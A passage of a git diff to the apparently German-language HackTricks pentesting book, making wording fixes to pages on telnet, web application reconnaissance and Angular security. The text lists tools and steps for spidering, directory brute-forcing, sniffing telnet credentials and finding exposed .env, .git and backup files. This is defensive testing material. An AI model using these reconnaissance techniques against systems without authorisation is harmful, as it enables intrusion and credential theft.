einem Benutzer und einem Server zu ermöglichen, sich auf die Verwendung eines ausgefeilteren (oder vielleicht einfach nur anderen) Satzes von Konventionen für ihre TELNET-Verbindung zu einigen. Solche Optionen könnten das Ändern des Zeichensatzes, des Echo-Modus usw. umfassen. **Ich weiß, dass es möglich ist, diese Optionen aufzulisten, aber ich weiß nicht wie, also lass es mich wissen, wenn du weißt wie.** @@ -48,7 +48,7 @@ Note: | wireshark to hear creds being passed tcp.port == 23 and ip.addr != myip -https://book.hacktricks.xyz/pentesting/pentesting-telnet +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 9bd57a418..88e0ecd3f 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -37,7 +37,7 @@ web-api-pentesting.md - [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es gespidert werden sollte._ - [ ] **Verzeichnis-Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um nach neuen **Dateien** und **Verzeichnissen** zu suchen. - [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es brute-forced werden sollte._ -- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** von **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen. +- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** der **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen. - [ ] **Brute-Force-Parameter**: Versuchen Sie, **versteckte Parameter** zu finden. - [ ] Sobald Sie alle möglichen **Endpunkte**, die **Benutzereingaben** akzeptieren, **identifiziert** haben, überprüfen Sie alle Arten von **Schwachstellen**, die damit verbunden sind. - [ ] [Befolgen Sie diese Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md) @@ -47,7 +47,7 @@ web-api-pentesting.md ### Identifizieren Überprüfen Sie, ob es **bekannte Schwachstellen** für die **Version** des Servers gibt, die ausgeführt wird.\ -Die **HTTP-Header und Cookies der Antwort** könnten sehr nützlich sein, um die **Technologien** und/oder **Version** zu **identifizieren**, die verwendet werden. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:** +Die **HTTP-Header und Cookies der Antwort** könnten sehr nützlich sein, um die **Technologien** und/oder **Version** zu identifizieren, die verwendet werden. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -86,7 +86,7 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten * - [**Laravel**](laravel.md) - [**Moodle**](moodle.md) - [**Nginx**](nginx.md) -- [**PHP (php hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html) +- [**PHP (PHP hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html) - [**Python**](python.md) - [**Spring Actuators**](spring-actuators.md) - [**Symphony**](symphony.md) @@ -145,7 +145,7 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> An diesem Punkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten bereitgestellt werden) und einige Tricks im Hinterkopf behalten, die während des Tests nützlich sein können. Wenn Sie Glück haben, haben Sie sogar ein CMS gefunden und einen Scanner ausgeführt. +> An diesem Punkt sollten Sie bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten bereitgestellt werden) und einige Tricks, die Sie während des Tests im Hinterkopf behalten sollten. Wenn Sie Glück haben, haben Sie sogar ein CMS gefunden und einen Scanner ausgeführt. ## Schritt-für-Schritt-Webanwendungsentdeckung @@ -175,13 +175,13 @@ Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, Sie jedoch nicht über ausreichende Berechtigungen zum **Hochladen von Dateien** im Stammordner verfügen, versuchen Sie: -- **Brute Force**-Anmeldeinformationen -- **Dateien** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite hochzuladen. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen. +- **Brute Force** Anmeldeinformationen +- **Dateien hochladen** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen. ### **SSL/TLS-Schwachstellen** - Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** in irgendeinem Teil zu verwenden, ist sie **anfällig für MitM** -- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist das eine hohe Schwachstelle. +- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist dies eine hohe Schwachstelle. Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (In Bug-Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert) und verwenden Sie [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen: ```bash @@ -219,19 +219,19 @@ Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so vi - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless Browser und gibt alle URLs aus, die zum Laden der Seite geladen wurden. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhaltserkennungstool, das mehrere Optionen der vorherigen Tools kombiniert. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Erweiterung, um Pfade und Parameter in JS-Dateien zu finden. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das die .js.map-URL angibt und Ihnen den beautifizierten JS-Code liefert. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das die .js.map-URL verwendet, um den beautifizierten JS-Code zu erhalten. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dies ist ein Tool, das verwendet wird, um Endpunkte für ein bestimmtes Ziel zu entdecken. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Entdecken Sie Links von der Wayback-Maschine (auch die Antworten in der Wayback herunterladen und nach weiteren Links suchen). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlen (auch durch Ausfüllen von Formularen) und auch sensible Informationen mit spezifischen Regexen finden. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multifunktionaler GUI-Websicherheits-Crawler/Spider, der für Cybersicherheitsprofis entwickelt wurde. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um **Parameter und Endpunkte** aus der Anfrage zu extrahieren, um benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Tolle Tool dafür. - [**Crawley**](https://github.com/s0rg/crawley) (go): Druckt jeden Link, den es finden kann. ### Brute Force Verzeichnisse und Dateien -Beginnen Sie mit dem **Brute-Forcing** vom Stammordner und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen **entdecken**, die durch das **Spidering** **entdeckt** wurden (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\ +Beginnen Sie mit dem **Brute-Forcing** vom Stammverzeichnis und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen, die durch das **Spidering** **entdeckt** wurden, brute-forcen (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\ Tools: - **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Erlaubt automatisch signierte Zertifikate und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen. @@ -264,22 +264,22 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es Brute-Forced werden sollte._ +_Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._ ### Was bei jeder gefundenen Datei zu überprüfen ist - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Finden Sie defekte Links in HTMLs, die anfällig für Übernahmen sein könnten. -- **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungen aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Variationen zur Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** verwenden.** +- **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungen aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Variationen zur Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **Neue Parameter entdecken**: Sie können Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn Sie können, könnten Sie versuchen, versteckte Parameter in jeder ausführbaren Webdatei zu suchen.** - _Arjun alle Standard-Wortlisten:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Kommentare:** Überprüfen Sie die Kommentare aller Dateien, Sie können **Anmeldeinformationen** oder **versteckte Funktionen** finden. -- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **Hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**. +- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**. - **API-Schlüssel**: Wenn Sie **einen API-Schlüssel finden**, gibt es eine Anleitung, die angibt, wie man API-Schlüssel verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Google API-Schlüssel: Wenn Sie einen API-Schlüssel finden, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, können Sie das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu überprüfen, auf welche APIs der Schlüssel zugreifen kann. -- **S3-Buckets**: Überprüfen Sie beim Spidering, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html). +- **S3-Buckets**: Achten Sie beim Spidering darauf, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html). ### Besondere Funde @@ -288,17 +288,17 @@ _Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings **Interessante Dateien** - Suchen Sie nach **Links** zu anderen Dateien in den **CSS**-Dateien. -- [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md). -- Wenn Sie eine _**.env**_-Datei finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden. +- [Wenn Sie eine _**.git**_ Datei finden, können einige Informationen extrahiert werden](git.md) +- Wenn Sie eine _**.env**_ finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden. - Wenn Sie **API-Endpunkte** finden, [sollten Sie diese ebenfalls testen](web-api-pentesting.md). Diese sind keine Dateien, sehen aber wahrscheinlich "so aus". -- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.** +- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)**.** verwenden. - Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um herauszufinden, ob sie anfällig sind. - **Javascript Deobfuscator und Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) -- **JsFuck-Deobfuskation** (Javascript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) +- **JsFuck-Deobfuskation** (JavaScript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex). -- Sie könnten auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung im Parameter oder das Auftreten eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann. +- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex) +- Sie könnten auch **die Dateien überwachen, in denen Formulare erkannt wurden**, da eine Änderung im Parameter oder das Auftauchen eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann. **403 Forbidden/Basic Authentication/401 Unauthorized (Umgehung)** @@ -348,7 +348,7 @@ Entry_1: Name: Notes Description: Notes for Web Note: | -https://book.hacktricks.xyz/pentesting/pentesting-web +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html Entry_2: Name: Quick Web Scan diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index 762457365..ef6b7ce0e 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -14,7 +14,7 @@ Checkliste [von hier](https://lsgeurope.com/post/angular-security-checklist). ## Was ist Angular -Angular ist ein **leistungsstarkes** und **Open-Source**-Frontend-Framework, das von **Google** gepflegt wird. Es verwendet **TypeScript**, um die Lesbarkeit und das Debugging des Codes zu verbessern. Mit starken Sicherheitsmechanismen verhindert Angular gängige clientseitige Schwachstellen wie **XSS** und **offene Weiterleitungen**. Es kann auch auf der **Server-Seite** verwendet werden, was Sicherheitsüberlegungen aus **beiden Perspektiven** wichtig macht. +Angular ist ein **leistungsstarkes** und **Open-Source**-Frontend-Framework, das von **Google** gepflegt wird. Es verwendet **TypeScript**, um die Lesbarkeit und das Debugging des Codes zu verbessern. Mit starken Sicherheitsmechanismen verhindert Angular häufige clientseitige Schwachstellen wie **XSS** und **offene Weiterleitungen**. Es kann auch auf der **Server-Seite** verwendet werden, was Sicherheitsüberlegungen aus **beiden Perspektiven** wichtig macht. ## Framework-Architektur @@ -39,17 +39,17 @@ my-workspace/ ├── angular.json #provides workspace-wide and project-specific configuration defaults └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace ``` -Laut der Dokumentation hat jede Angular-Anwendung mindestens eine Komponente, die Wurzelkomponente (`AppComponent`), die eine Komponentenhierarchie mit dem DOM verbindet. Jede Komponente definiert eine Klasse, die Anwendungsdaten und -logik enthält und mit einer HTML-Vorlage verknüpft ist, die eine Ansicht definiert, die in einer Zielumgebung angezeigt werden soll. Der `@Component()`-Dekorator identifiziert die direkt darunter liegende Klasse als Komponente und stellt die Vorlage sowie die zugehörigen komponentenspezifischen Metadaten bereit. Die `AppComponent` ist in der Datei `app.component.ts` definiert. +Laut der Dokumentation hat jede Angular-Anwendung mindestens eine Komponente, die Wurzelkomponente (`AppComponent`), die eine Komponentenhierarchie mit dem DOM verbindet. Jede Komponente definiert eine Klasse, die Anwendungsdaten und -logik enthält und mit einer HTML-Vorlage verknüpft ist, die eine Ansicht darstellt, die in einer Zielumgebung angezeigt werden soll. Der `@Component()`-Dekorator identifiziert die direkt darunter liegende Klasse als Komponente und stellt die Vorlage sowie die zugehörigen komponentenspezifischen Metadaten bereit. Die `AppComponent` ist in der Datei `app.component.ts` definiert. Angular NgModules erklären einen Kompilierungskontext für eine Gruppe von Komponenten, die einem Anwendungsbereich, einem Workflow oder einer eng verwandten Gruppe von Funktionen gewidmet sind. Jede Angular-Anwendung hat ein Wurzelmodul, das konventionell `AppModule` genannt wird und den Bootstrap-Mechanismus bereitstellt, der die Anwendung startet. Eine Anwendung enthält typischerweise viele funktionale Module. Das `AppModule` ist in der Datei `app.module.ts` definiert. Das Angular `Router` NgModule bietet einen Dienst, der es Ihnen ermöglicht, einen Navigationspfad zwischen den verschiedenen Anwendungszuständen und Ansichtshierarchien in Ihrer Anwendung zu definieren. Das `RouterModule` ist in der Datei `app-routing.module.ts` definiert. -Für Daten oder Logik, die nicht mit einer bestimmten Ansicht verknüpft sind und die Sie über Komponenten hinweg teilen möchten, erstellen Sie eine Dienstklasse. Eine Dienstklassendefinition wird unmittelbar von dem `@Injectable()`-Dekorator vorausgegangen. Der Dekorator stellt die Metadaten bereit, die es anderen Anbietern ermöglichen, als Abhängigkeiten in Ihre Klasse injiziert zu werden. Die Abhängigkeitsinjektion (DI) ermöglicht es Ihnen, Ihre Komponentenklassen schlank und effizient zu halten. Sie holen keine Daten vom Server, validieren keine Benutzereingaben und protokollieren nicht direkt in die Konsole; sie delegieren solche Aufgaben an Dienste. +Für Daten oder Logik, die nicht mit einer bestimmten Ansicht verknüpft sind und die Sie über Komponenten hinweg teilen möchten, erstellen Sie eine Dienstklasse. Eine Dienstklassendefinition wird unmittelbar von dem `@Injectable()`-Dekorator vorausgegangen. Der Dekorator stellt die Metadaten bereit, die es anderen Anbietern ermöglichen, als Abhängigkeiten in Ihre Klasse injiziert zu werden. Die Abhängigkeitsinjektion (DI) ermöglicht es Ihnen, Ihre Komponentenklassen schlank und effizient zu halten. Sie holen keine Daten vom Server, validieren keine Benutzereingaben oder protokollieren nicht direkt in die Konsole; sie delegieren solche Aufgaben an Dienste. ## Sourcemap-Konfiguration -Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es die Optionen aus `tsconfig.json` befolgt und dann ein Projekt mit der Konfiguration aus `angular.json` erstellt. Wenn wir die Datei `angular.json` betrachten, haben wir eine Option beobachtet, um eine Sourcemap zu aktivieren oder zu deaktivieren. Laut der Angular-Dokumentation hat die Standardkonfiguration eine Sourcemap-Datei für Skripte aktiviert und ist standardmäßig nicht verborgen: +Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es die Optionen in `tsconfig.json` befolgt, und erstellt dann ein Projekt mit der Konfiguration in `angular.json`. Wenn wir die Datei `angular.json` betrachten, haben wir eine Option beobachtet, um eine Sourcemap zu aktivieren oder zu deaktivieren. Laut der Angular-Dokumentation hat die Standardkonfiguration eine Sourcemap-Datei für Skripte aktiviert und ist standardmäßig nicht verborgen: ```json "sourceMap": { "scripts": true, @@ -58,9 +58,9 @@ Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es "hidden": false } ``` -Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien ihren ursprünglichen Dateien zuordnen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstützt die Dateianalyse, indem der ursprüngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein Prüfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht. +Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien mit ihren ursprünglichen Dateien verknüpfen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstützt die Dateianalyse, indem der ursprüngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein Prüfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht. -Darüber hinaus kann eine kompilierte JavaScript-Datei mit einem Angular-Projekt in den Entwicklertools des Browsers → Quellen (oder Debugger und Quellen) → \[id].main.js gefunden werden. Je nach den aktivierten Optionen kann diese Datei die folgende Zeile am Ende enthalten `//# sourceMappingURL=[id].main.js.map` oder sie kann es nicht, wenn die **hidden**-Option auf **true** gesetzt ist. Dennoch wird das Testen komplexer, wenn die Sourcemap für **Skripte** deaktiviert ist, und wir können die Datei nicht erhalten. Darüber hinaus kann die Sourcemap während des Projektbaus aktiviert werden, wie `ng build --source-map`. +Darüber hinaus kann eine kompilierte JavaScript-Datei mit einem Angular-Projekt in den Entwicklertools des Browsers → Quellen (oder Debugger und Quellen) → \[id].main.js gefunden werden. Abhängig von den aktivierten Optionen kann diese Datei die folgende Zeile am Ende enthalten `//# sourceMappingURL=[id].main.js.map` oder sie kann es nicht, wenn die **hidden**-Option auf **true** gesetzt ist. Dennoch wird das Testen komplexer, wenn die Sourcemap für **Skripte** deaktiviert ist, und wir können die Datei nicht erhalten. Darüber hinaus kann die Sourcemap während des Projektbaus aktiviert werden, wie `ng build --source-map`. ## Datenbindung @@ -68,24 +68,24 @@ Binding bezieht sich auf den Prozess der Kommunikation zwischen einer Komponente Wir können Binding nach Datenfluss klassifizieren: -* Datenquelle zu Zielansicht (einschließlich _Interpolation_, _Eigenschaften_, _Attribute_, _Klassen_ und _Stile_); kann durch Verwendung von `[]` oder `{{}}` im Template angewendet werden; -* Zielansicht zu Datenquelle (einschließlich _Ereignisse_); kann durch Verwendung von `()` im Template angewendet werden; -* Zwei-Wege; kann durch Verwendung von `[()]` im Template angewendet werden. +* Datenquelle zu Zielansicht (einschließlich _Interpolation_, _Eigenschaften_, _Attribute_, _Klassen_ und _Stile_); kann durch die Verwendung von `[]` oder `{{}}` im Template angewendet werden; +* Zielansicht zu Datenquelle (einschließlich _Ereignisse_); kann durch die Verwendung von `()` im Template angewendet werden; +* Zwei-Wege; kann durch die Verwendung von `[()]` im Template angewendet werden. -Binding kann auf Eigenschaften, Ereignisse und Attribute sowie auf jedes öffentliche Mitglied einer Quell-Direktive angewendet werden: +Binding kann auf Eigenschaften, Ereignisse und Attribute sowie auf jedes öffentliche Mitglied einer Quellrichtlinie angewendet werden: | TYP | ZIEL | BEISPIELE | | -------- | -------------------------------------------------------- | ------------------------------------------------------------------ | -| Eigenschaft | Elementeigenschaft, Komponenteneigenschaft, Direktiv-Eigenschaft | \ | -| Ereignis | Elementereignis, Komponenteneignis, Direktiv-Ereignis | \